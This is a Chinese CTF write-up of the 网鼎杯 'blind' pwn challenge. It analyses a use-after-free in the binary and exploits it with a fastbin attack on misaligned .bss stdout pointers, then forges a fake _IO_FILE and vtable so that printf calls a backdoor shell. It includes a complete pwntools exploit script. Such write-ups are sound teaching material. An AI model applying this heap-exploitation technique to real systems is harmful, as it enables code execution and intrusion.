网鼎杯Pwn之blind

_IO_FILE 利用

Posted by Chris on September 5, 2018

0x00 代码分析

1,检查保护

1
2
3
4
5
6
[*] '/home/chris/Pwn/blind'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2,使用IDA分析程序流程

main 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-24h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400882(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4008F4();
      memset(&s, 0, 0x10uLL);
      read(0, &s, 0xFuLL);
      v3 = atoi(&s);
      if ( v3 != 2 )
        break;
      sub_400A80(&s, &s);
    }
    if ( v3 == 3 )
    {
      sub_400B41(&s, &s);
    }
    else
    {
      if ( v3 != 1 )
        exit(0);
      sub_4009A7(&s, &s);
    }
  }
}

程序只有三个功能:

1
2
3
1.new 
2.change
3.release

new 函数分析

pic1

0x68 Fastbin的chunk,应该与fastbin_attack有关

change 函数分析

pic2

其中sub_400932函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400932(__int64 a1, unsigned int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    read(0, (void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 10 || i == a2 - 1 )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

经分析,它是逐字节读入,且无溢出

release 函数分析

pic3

释放的指针未清零,UAF漏洞

0x01 漏洞分析

add函数申请的都是fastbin chunk ,程序无法泄露libc基地址,只能在堆块中寻找利用方法。

pic4

由于在mian函数的sub_400882调用了setvbuf,设置了stdin,stdout,stderr缓冲模式

1
2
3
4
5
6
int sub_400882()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

所以在bss段首存在stdin,stderr,stdout 结构体指针,地址高位的0x7f可错位利用。

明显的UAF,改chunk的fd实现往bss段任意地址写;

在标准I/O库中,每个程序启动时有三个文件流是自动打开的,调用setvbuf后,系统自动会填充在bss段,那就是 stdin,stderr,stdout_IO_FILE结构体的指针。

且FIEL结构体指针在&ptr地址上面,任意地址写的话,就往ptr里面以0x68为间隔,写连续的mem空间地址,以便在bss段伪造_IO_FILE结构与vtable结构。然后还要往bss段首,也就是FILE *stdout指针的地方写入伪造的FILE结构地址,修改文件流的指针,使其指向伪造的_IO_FILE结构体。

发现程序里面留有一个后门函数:

1
2
3
4
int sub_4008E3()
{
  return system("/bin/sh");
}

可往vtable相关函数写。

0X02 IO_FILE 介绍

传送门

printf和puts是常用的输出函数,在printf的参数是以’\n’结束的纯字符串时,printf会被优化为puts函数并去除换行符。

puts在源码中实现的函数是_IO_puts,这个函数的操作与fwrite的流程大致相同,函数内部同样会调用vtable中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口write函数。

printf的调用同样是通过_IO_xsputn实现

0x03 vprintf 部分源码解析

print函数里面会调用vprint,贴上ida的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall vfprintf(__int64 fp, const char *a2, __int64 *a3){

  // fp=(_IO_FILE*)stdin

  v3 = fp->_mode;
  if ( v3 )
  {
    if ( v3 != -1 )
      return 0xFFFFFFFFLL;
  }
  else
  {
    fp->_mode = -1;
  }
  v4 = fp->_flags;
  if ( fp->_flags & 8 )
  {
    LODWORD(fp->_flags) = v4 | 0x20;
    errno = 9;
    return 0xFFFFFFFFLL;
  }
  if ( !a2 )
  {
    errno = 22;
    return 0xFFFFFFFFLL;
  }
  v5 = a3;
  v6 = a2;
  v7 = fp;
  if ( v4 & 2 )
    return sub_4FE60();
  v8 = *a3;
  LODWORD(v223) = fp->_flags;
  v9 = 0;
  v235 = v8;
  v236 = a3[1];
  v237 = a3[2];
  v10 = strchrnul(a2, 37LL);
  v226 = (_BYTE *)v10;
  if ( !(v223 & 0x8000) )
  {
    v9 = dword_3C9730;
    if ( dword_3C9730 )
    {
      ((void (__fastcall *)(__int64 (__fastcall **)(), __int64 (__fastcall *)(), _IO_FILE *))(__readfsqword(0x30u) ^ __ROR8__(qword_3C96F0, 17)))(
        &v238,
        funlockfile,
        fp);
      if ( fp->_flags & 0x8000 )
        goto LABEL_7;
    }

凡是出现return的地方我们都得绕过,这样才能使程序流程跳转到LABEL_7

然后

1
2
3
4
5
6
7
LABEL_7:
  v11 = *(_QWORD *)(fp->vtable); //取IO_jump_t   *vtable
  v12 = (__int64)v6;
  v223 = v10 - (_QWORD)v6;
  v13 = (*(__int64 (__fastcall **)(__int64, const char *, __int64))(v11 + 56))(fp, v6, 
  /* v11 + 56是取vtable虚表里面的函数指针_IO_sputn 并调用 */
  v10 - (_QWORD)v6);

所以综上。有些地方不用绕过,但有些地方必须使其验证通过

所以伪造的IO_FILE_plus结构体中的flags要满足下面的条件

1
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0

在最开始验证的地方(_IO_FILE*)fp->_mode处要填为 0 或 -1(0xff)

0x04 漏洞利用

pic4

stdin,stdout,stderr地址都是以0x7f开头,可以通过错位实现fastbin_attack劫持。

1
2
pwndbg> x/2xg 0x60201d
0x60201d:	0xfff7dd4400000000	0x000000000000007f

错位出一个 fastbin_index = 5 的chunk头,我们在两次申请两次释放后就可以编辑fd为0x60201d;

1
2
3
4
5
6
new(0,'aaaa')
new(1,'bbbb')

release(0)
release(1)
change(1,p64(0x60201d) + '\n')

这里我们已经控制了mem为0x60202d的地址

1
2
3
4
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68) 
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)

'aaa' + 'a'*0x30对齐到0x602060,这是&ptr所在的地址,存有已经malloc的mem空间.

我们修改ptr的5个指针指向任意地址,ptr[0]指向stdout,prt[1-4]指向了bss上的一块连续内存用来伪造io_file和vtable.即伪造的_IO_FILE_PLUS在0x602090处, vtale 在 0x602090 + 0x68*3 = 0x6021c8 处。伪造的FILE如图:

pic5

伪造的vtable在 7*8 偏移处 xsputn 填上后门函数地址,这样执行printf时,调用_IO_xsputn查虚表时,就拿下shell。

0x05 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = 'debug'
p = process('./blind')

def new(index,content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def change(index,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(content)

def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))

def g():
    gdb.attach(p)
    raw_input()

new(0,'aaaa')
new(1,'bbbb')

release(0)
release(1)
change(1,p64(0x60201d) + '\n') 

new(3,'aaaa')
system_addr = 0x4008e3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)

payload = p64(0x00000000fbad8000) + p64(0x602060)*7 
payload += p64(0x602061) + p64(0)*4  
change(1,payload)

payload = p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0)
payload += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060)
payload += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)
change(2,payload)

payload =  p64(0) + p64(0x602090 + 0x68*3) + '\n'
change(3,payload)

payload = 'a'*56 + p64(system_addr) + '\n'
change(4,payload)

payload = p64(0x602090) + '\n'
change(0,payload)

p.interactive()

文件下载

0x06 总结

这个程序巧妙之处在于,刚好申请的0x68的fastbin内存,能利用bss段指向libc的FILE指针的0x7f开头地址,造成fastbin_attack,实现任意地址写。能够控制ptr指针,在bss段伪造IO_FILE结构就不在话下。